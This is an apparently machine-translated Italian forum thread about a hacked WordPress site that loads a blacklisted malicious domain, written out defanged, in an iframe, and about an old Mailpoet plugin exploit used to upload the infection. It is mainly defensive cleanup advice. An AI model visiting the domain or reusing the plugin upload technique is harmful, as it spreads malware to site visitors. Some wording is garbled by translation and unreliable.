Non sono sicuro che questo sia il posto giusto per porre domande come questa, scusami se non lo è.

Qualcuno è in grado di fornire idee?

Qualcuno sa a cosa serve questo sito?

Carica h ** p: //miwkavoriwka.ml/052F (che è già presente in alcune blacklist, elenco FF incluso di protezione da phishing e malware) in un iframe o reindirizza a quell'URL (a seconda del browser)

modifica Dopo aver letto il codice un po ': L'unico browser che sembra essere mirato sono quelli in cui sono soddisfatte queste condizioni:

  • Useragents contenenti MSIE , Trident / o Edge /
  • Nessun telefono cellulare? (vedi la funzione is_mobile_phone )
  • Alcune funzionalità di controllo vero (vedi funzione some_capability_check )

Grazie per tutte le fantastiche informazioni e aiuto!

Da allora ho scoperto come il sito è stato inizialmente violato. Il sito utilizzava una vecchia versione del plugin Mailpoet / wysija-newsletters (pre 2.6.7)

Utilizzando un exploit in questo plug-in, l'autore dell'attacco è riuscito a caricare il codice dannoso che è stato poi utilizzato per infettare ulteriormente il sito.

link

In definitiva il problema di sicurezza con Mailpoet / wysija-newsletters è stato usato per caricare un file chiamato .zip in / wp-content / uploads / wysija / temp e quindi estrarre il file zip e installare alcuni temi oscuri. Lo screenshot allegato mostra cosa è successo quando si entra nella pagina di amministrazione dei plugin dopo che lo zip è stato cancellato. Sembra che ogni volta che entri in wp-admin il sito venga reinfettato.

Il sito è stato ripristinato da una versione pulita, completamente aggiornata e il plugin WordFence è in esecuzione.

È scopo apparente è di infettare wp-settings.php , quindi infetta tutte le tue pagine e collega il malware attraverso un iframe.

Puoi rimuoverlo eliminando wp_inc/upd.php , ma ciò non risolverà il vettore di minaccia a meno che quel buco non sia tappato. Tuttavia, la "principale infezione" stessa può trovarsi in un file diverso, se i commenti sono corretti. Di nuovo, rimuovere questo file non sarà di grande aiuto se il vettore delle minacce è ancora lì.

Una persona anche suggerito di sostituire eval con alert . Altri hanno già debianizzato altre versioni utilizzando le tecniche descritte in questa discussione . Il tuo codice segue uno schema molto simile a quello.
